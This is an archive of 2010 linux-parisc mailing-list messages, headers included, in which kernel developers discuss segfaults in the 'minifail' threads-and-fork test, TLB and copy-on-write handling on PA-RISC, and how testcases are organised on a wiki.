Approved: news@gmane.org
Message-ID: <20100501231355.851335057@hiauly1.hia.nrc.ca>
References: <4BDCAA56.4010905@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1272755640 13761 80.91.229.12 (1 May 2010 23:14:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 1 May 2010 23:14:00 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com,
	linux-parisc@vger.kernel.org, T-Bone@parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 02 01:13:59 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O8Lsk-0001bz-LO
	for glpp-linux-parisc@lo.gmane.org; Sun, 02 May 2010 01:13:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756091Ab0EAXN5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 May 2010 19:13:57 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4721 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755659Ab0EAXN5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 May 2010 19:13:57 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 851335057; Sat,  1 May 2010 19:13:55 -0400 (EDT)
In-Reply-To: <4BDCAA56.4010905@gmx.de> from "Helge Deller" at May 2, 2010 00:25:26 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2825
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2825>

Hi Helge,

> I tried your patch on top of a 2.6.33.2 kernel (SMP, 32bit, PA8500 (PCX-W) CPU).
> I still do see all the page faults as before. They even seem to trigger 
> faster than with a few of Dave's patches.
> 
> I usually run this command
> 	i=0; while true; do i=$(($i+1)); echo Run $i; ./minifail_dave; done;
> in a few screen sessions in parallel.

The reason running multiple screens in parallel exposes further problems
is the implementation of ptep_set_wrprotect is broken.  It simply sets the
write protect bit in the pte and doesn't purge the existing translation.
So, the parent continues to merrily write to the write protected page until
the TLB entry is purged and reloaded.  More processes make it more likely the
entry will be replaced and trigger a COW break.

This is why my versions of the minifail test which monitor the stack region
used by the thread don't cause a COW break immediately after the fork.  When
compiled at -O0, the loop index is constantly being stored to the stack.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Patch for segfaults in minifail tests
Date: Sat, 01 May 2010 18:39:51 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <1272757191.4570.97.camel@mulgrave.site>
References: <20100501231355.851335057@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1272757199 17370 80.91.229.12 (1 May 2010 23:39:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 1 May 2010 23:39:59 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	T-Bone@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 02 01:39:57 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O8MHs-0000Ia-VH
	for glpp-linux-parisc@lo.gmane.org; Sun, 02 May 2010 01:39:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753592Ab0EAXjz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 May 2010 19:39:55 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40181 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752716Ab0EAXjy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 May 2010 19:39:54 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 1957A8EE0FE;
	Sat,  1 May 2010 16:39:54 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id xdleXxvKLyIu; Sat,  1 May 2010 16:39:54 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 88B9A8EE0E0;
	Sat,  1 May 2010 16:39:53 -0700 (PDT)
In-Reply-To: <20100501231355.851335057@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2826
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2826>

On Sat, 2010-05-01 at 19:13 -0400, John David Anglin wrote:
> Hi Helge,
> 
> > I tried your patch on top of a 2.6.33.2 kernel (SMP, 32bit, PA8500 (PCX-W) CPU).
> > I still do see all the page faults as before. They even seem to trigger 
> > faster than with a few of Dave's patches.
> > 
> > I usually run this command
> > 	i=0; while true; do i=$(($i+1)); echo Run $i; ./minifail_dave; done;
> > in a few screen sessions in parallel.
> 
> The reason running multiple screens in parallel exposes further problems
> is the implementation of ptep_set_wrprotect is broken.  It simply sets the
> write protect bit in the pte and doesn't purge the existing translation.
> So, the parent continues to merrily write to the write protected page until
> the TLB entry is purged and reloaded.  More processes make it more likely the
> entry will be replaced and trigger a COW break.
> 
> This is why my versions of the minifail test which monitor the stack region
> used by the thread don't cause a COW break immediately after the fork.  When
> compiled at -O0, the loop index is constantly being stored to the stack.

Actually, no, this explanation isn't correct.

The way linux works.  You can see roughly how this works in
copy_page_range() where we prepare the COW.  If it's going to be a COW
range, we call mmu notifiers before and after the pte settings.  The
after mmu notifier is supposed to flush the TLB.   Linux always does
memory operations in the form

prepare();
do_something_with_the_ptes()
activate()

It's only after the activate() through the mmu notifiers that we're
supposed to be consistent.

Now the outstanding question is whether we're correctly hooked into the
post mmu update notifier ... but I suspect we are (sorry, heading to a
plane for boston, will try to check this next week).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Patch for segfaults in minifail tests
Date: Sun, 2 May 2010 01:40:17 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <B8D9B6DC-617D-45F0-806A-C73EB630CFFE@parisc-linux.org>
References: <1272651697.2844.39.camel@mulgrave.site> <4BDCAA56.4010905@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=ISO-8859-1;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1272757230 17474 80.91.229.12 (1 May 2010 23:40:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 1 May 2010 23:40:30 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 02 01:40:27 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O8MIL-0000Ia-V7
	for glpp-linux-parisc@lo.gmane.org; Sun, 02 May 2010 01:40:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753748Ab0EAXkZ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 May 2010 19:40:25 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:37613 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753706Ab0EAXkY convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 May 2010 19:40:24 -0400
Original-Received: by wye20 with SMTP id 20so955635wye.19
        for <linux-parisc@vger.kernel.org>; Sat, 01 May 2010 16:40:22 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:cc:message-id:from:to
         :in-reply-to:content-type:content-transfer-encoding:mime-version
         :subject:date:references:x-mailer;
        bh=g+VUyCdPN7Iul5wUAgBMw4OEq/Tiq3Ccb3fC5GNNghA=;
        b=Rp60145dQ9XlhuBIHxsFwN9TlKkD2YoEUFi4Whzl27+eUbxMJeVaoeyfUBHvQPrUJk
         pJimFZR4ixn3jqI0Q1W6kLu3MOF9RX3/g5dD782JrXfWicX7ItWm1OflxTrx0UV7+yXk
         kAUmhysHV2JHtyazxCO7m9zm4/5bntsDPAHPo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:cc:message-id:from:to:in-reply-to:content-type
         :content-transfer-encoding:mime-version:subject:date:references
         :x-mailer;
        b=WtOudGaqralqTnA3Z7JKD4Z67OZ/p9H6FhY5EX0oN+xwvOZ2Lv4GwgW1xFnXpHby/H
         ltGyRy17z3UlZgj6tnWyoVWQNIRCee8KNQ50KJ517M6LnoFVWa+PlHH7YEJrOGmLPJts
         E+2en+UEK9uh3K6f7rwFhcihLshIVwvUUeq38=
Original-Received: by 10.216.85.194 with SMTP id u44mr2618105wee.160.1272757221409;
        Sat, 01 May 2010 16:40:21 -0700 (PDT)
Original-Received: from Gandalf.h0m3 (car75-1-87-88-101-48.dsl.club-internet.fr [87.88.101.48])
        by mx.google.com with ESMTPS id r29sm28106829wbv.15.2010.05.01.16.40.18
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sat, 01 May 2010 16:40:19 -0700 (PDT)
In-Reply-To: <4BDCAA56.4010905@gmx.de>
X-Mailer: Apple Mail (2.936)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2827
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2827>

Le 2 mai 10 =E0 00:25, Helge Deller a =E9crit :

> Thibeaut: I've attached the testcase (I called it minifail_dave, =20
> since it
> was changed by Dave). Maybe you can attach it to your website if =20
> it's not
> yet there...?


Err, please, you're not making this easy for me.

I've put on the website all the testcases I found in the emails, so if =
=20
dave already posted it, chances are it's already there.

Could you please check the page and see if the testcase you're using =20
is there? I tried to keep it simple by:
a) keeping the original name (whenever available)
b) linking to the corresponding message

If I'm the only one actually using that webpage, it's totally =20
pointless...

HTH

--=20
Thibaut VAR=C8NE
http://www.parisc-linux.org/~varenet/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Patch for segfaults in minifail tests
Date: Sun, 02 May 2010 10:19:50 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <4BDD35A6.1010600@gmx.de>
References: <1272651697.2844.39.camel@mulgrave.site> <4BDCAA56.4010905@gmx.de> <B8D9B6DC-617D-45F0-806A-C73EB630CFFE@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1272788411 24498 80.91.229.12 (2 May 2010 08:20:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 2 May 2010 08:20:11 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 02 10:20:09 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O8UPJ-0004ZM-BF
	for glpp-linux-parisc@lo.gmane.org; Sun, 02 May 2010 10:20:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755676Ab0EBIUH convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 May 2010 04:20:07 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:36496 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754472Ab0EBIT7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 May 2010 04:19:59 -0400
Original-Received: (qmail invoked by alias); 02 May 2010 08:19:57 -0000
Original-Received: from p54AD14D6.dip0.t-ipconnect.de (EHLO halden.box) [84.173.20.214]
  by mail.gmx.net (mp064) with SMTP; 02 May 2010 10:19:57 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19Pb4VFMCdPc9EQbZTujGXkTB1ZgYJbztSvmsmwRQ
	aauxHSaDY6nKoH
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100330 Fedora/3.0.4-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
In-Reply-To: <B8D9B6DC-617D-45F0-806A-C73EB630CFFE@parisc-linux.org>
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.56999999999999995
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2828
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2828>

On 05/02/2010 01:40 AM, Thibaut VAR=C8NE wrote:
> Le 2 mai 10 =E0 00:25, Helge Deller a =E9crit :
>=20
>> Thibeaut: I've attached the testcase (I called it minifail_dave, sin=
ce it
>> was changed by Dave). Maybe you can attach it to your website if it'=
s not
>> yet there...?
>=20
>=20
> Err, please, you're not making this easy for me.
>=20
> I've put on the website all the testcases I found in the emails, so i=
f
> dave already posted it, chances are it's already there.
>=20
> Could you please check the page and see if the testcase you're using =
is
> there? I tried to keep it simple by:
> a) keeping the original name (whenever available)
> b) linking to the corresponding message

Sorry Thibaut,

Thanks so much for putting all this stuff into the Wiki!
It's very useful to everybody, and of course I did already yesterday lo=
oked=20
if this minifail test program was in the list. I didn't found it.

So, it would be great if you could add it.

In principle you could replace the minifail3 testcase by this one.
And, I think this should be the major testcase which should work in the
end, since it's the one which doesn't has any tweaks. It should just
run without segfaults out of the box if we fixed the problem.

> If I'm the only one actually using that webpage, it's totally pointle=
ss...

You are not. I have looked at it already quite much!

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Sun, 2 May 2010 12:53:37 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <B68FAE03-5BDE-4CE2-9AEA-42FECA2FD6CD@parisc-linux.org>
References: <20100501201715.44ABB515D@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=ISO-8859-1;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1272797631 22397 80.91.229.12 (2 May 2010 10:53:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 2 May 2010 10:53:51 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 02 12:53:49 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O8Wnz-0005no-9A
	for glpp-linux-parisc@lo.gmane.org; Sun, 02 May 2010 12:53:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755387Ab0EBKxp convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 May 2010 06:53:45 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:55649 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755335Ab0EBKxo convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 May 2010 06:53:44 -0400
Original-Received: by wye20 with SMTP id 20so1083718wye.19
        for <linux-parisc@vger.kernel.org>; Sun, 02 May 2010 03:53:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:cc:message-id:from:to
         :in-reply-to:content-type:content-transfer-encoding:mime-version
         :subject:date:references:x-mailer;
        bh=ZaPSrSA7295KzXP0DIwjBUCSpBYDdpi1XdvU4P6noKw=;
        b=DsMsgBvIFq2xBwDJlW3wHVerS6t5k0+up3wXG5vJ3Gjr/0bZIBmjqxZ/gVnP8vNnqs
         h8R9S55HExxNFVuvKwA9rqLEKy0d8MWWB/uwR8sduyymo8v29UZ3soJKbNhiN/hLsuD0
         owhcMd19KIsQnxKGcm5Ux1soSrsc8tbuAEMKY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:cc:message-id:from:to:in-reply-to:content-type
         :content-transfer-encoding:mime-version:subject:date:references
         :x-mailer;
        b=xBP/U9lfGoq3UCghW7v0zVOGutBPHz6/ZIjQ8gJGj+9+atWE3fcuMwfxoN9d6kDeL/
         FVSNlQkJAEACJMyMFhYAMSIP5HB7vj3gogfKdo2LO7LS1NfaZFJJtqm3MjWh3zgl9BSP
         lJ+BpIhOb2QeXTIDyX7vXhUmUGXNLtoWFM6uQ=
Original-Received: by 10.216.166.211 with SMTP id g61mr772398wel.118.1272797622127;
        Sun, 02 May 2010 03:53:42 -0700 (PDT)
Original-Received: from Gandalf.h0m3 (car75-1-87-88-101-48.dsl.club-internet.fr [87.88.101.48])
        by mx.google.com with ESMTPS id r29sm32143635wbv.15.2010.05.02.03.53.38
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 02 May 2010 03:53:39 -0700 (PDT)
In-Reply-To: <20100501201715.44ABB515D@hiauly1.hia.nrc.ca>
X-Mailer: Apple Mail (2.936)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2829
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2829>

Le 1 mai 10 =E0 22:17, John David Anglin a =E9crit :
>
> Regarding the wiki, it's a useful summary.  However, #561203 (minifai=
l
> bug) is not a "Futex wait failure".  We may have futex bugs, but I'm =
=20
> not
> aware of a testcase.  The minifail bug is a "Threads and fork" proble=
m
> arising from cache corruption.  Mainly, copy_user_page is broken when
> copying memory shared by more than one process.  There are also issue=
s
> in PTE/TLB management on SMP systems.  Probably, the vfork/execve bug
> is caused by the same problem.


Many thanks for the feedback. The reason why I initially put the =20
minifail bug under "Futex wait failure" was because I found it =20
discussed under such a thread ;-)

I've merged this section under "Threads & fork", and have quoted your =20
summary at the top of the section.

HTH

T-Bone

--=20
Thibaut VAR=C8NE
http://www.parisc-linux.org/~varenet/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Patch for segfaults in minifail tests
Date: Sun, 2 May 2010 12:59:40 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <C7566D2F-C224-4C4D-8CFF-E1AE84985BBD@parisc-linux.org>
References: <1272651697.2844.39.camel@mulgrave.site> <4BDCAA56.4010905@gmx.de> <B8D9B6DC-617D-45F0-806A-C73EB630CFFE@parisc-linux.org> <4BDD35A6.1010600@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=ISO-8859-1;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1272797989 23447 80.91.229.12 (2 May 2010 10:59:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 2 May 2010 10:59:49 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 02 12:59:47 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O8Wtn-0001Ar-5r
	for glpp-linux-parisc@lo.gmane.org; Sun, 02 May 2010 12:59:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755597Ab0EBK7q convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 May 2010 06:59:46 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:34589 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755580Ab0EBK7p convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 May 2010 06:59:45 -0400
Original-Received: by wwb34 with SMTP id 34so1082525wwb.19
        for <linux-parisc@vger.kernel.org>; Sun, 02 May 2010 03:59:44 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:cc:message-id:from:to
         :in-reply-to:content-type:content-transfer-encoding:mime-version
         :subject:date:references:x-mailer;
        bh=A6YxSsV8Dxvgydhyd2GUl6uxvWCgXMTC8cE2L9IcNeI=;
        b=dDEBN4fnmibHjF+dv18usaqpL9Ynfb7g7rNkI61JUdROOYvDHg9wCkz32Nlom/otcY
         7eBbNXxqxj2I6DMqEH4x5n2A+VIvAzYt5RnjlkeAStlwY1QEhSX8AI9z6qOrofcI19fo
         IR1I9wUQMKbp4pJQ1sJOciu8Jal1fW/clOOz8=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:cc:message-id:from:to:in-reply-to:content-type
         :content-transfer-encoding:mime-version:subject:date:references
         :x-mailer;
        b=E96hjR+sN38iR2HUggbM8swoWJTetB3ZIPZhbE63sYBwROonBwemVPHceoh9WcTEpd
         A6iGDCb9syHVp+EBjYy0n7RqieoqcR3dIOLKMXGCMxXpjShPGQvy3KdH8r+PIYWobO9k
         4MsMim0RdHVUJHN413GujVWWnc04sVNGa3E+w=
Original-Received: by 10.216.88.4 with SMTP id z4mr6676189wee.121.1272797983784;
        Sun, 02 May 2010 03:59:43 -0700 (PDT)
Original-Received: from Gandalf.h0m3 (car75-1-87-88-101-48.dsl.club-internet.fr [87.88.101.48])
        by mx.google.com with ESMTPS id z3sm32209512wbs.4.2010.05.02.03.59.41
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 02 May 2010 03:59:42 -0700 (PDT)
In-Reply-To: <4BDD35A6.1010600@gmx.de>
X-Mailer: Apple Mail (2.936)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2830
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2830>

Le 2 mai 10 =E0 10:19, Helge Deller a =E9crit :

> Sorry Thibaut,
>
> Thanks so much for putting all this stuff into the Wiki!
> It's very useful to everybody, and of course I did already yesterday =
=20
> looked
> if this minifail test program was in the list. I didn't found it.

Ah ok, sorry I didn't understand that.

> So, it would be great if you could add it.

Done.

> In principle you could replace the minifail3 testcase by this one.

I'll keep it for archiving purpose, it's just a line on the page after =
=20
all ;)

> And, I think this should be the major testcase which should work in =20
> the
> end, since it's the one which doesn't has any tweaks. It should just
> run without segfaults out of the box if we fixed the problem.


I've marked it as "Final" until proved wrong.

HTH

--=20
Thibaut VAR=C8NE
http://www.parisc-linux.org/~varenet/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: SIGFPE trapping on HPPA
Date: Mon, 03 May 2010 22:44:21 +0200
Lines: 89
Approved: news@gmane.org
Message-ID: <4BDF35A5.5010309@gmx.de>
References: <A087547A-1917-414F-90E6-D7DB11646174@free.fr> <F7561409-C8B6-4557-8346-7CF6B123863E@free.fr> <119aab440912140706o7aaa9bf6q1c53568e00ea6291@mail.gmail.com> <658D8AB1-4B32-4862-9938-503E3AC45FD9@free.fr>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1272919488 25797 80.91.229.12 (3 May 2010 20:44:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 3 May 2010 20:44:48 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, 559406@bugs.debian.org
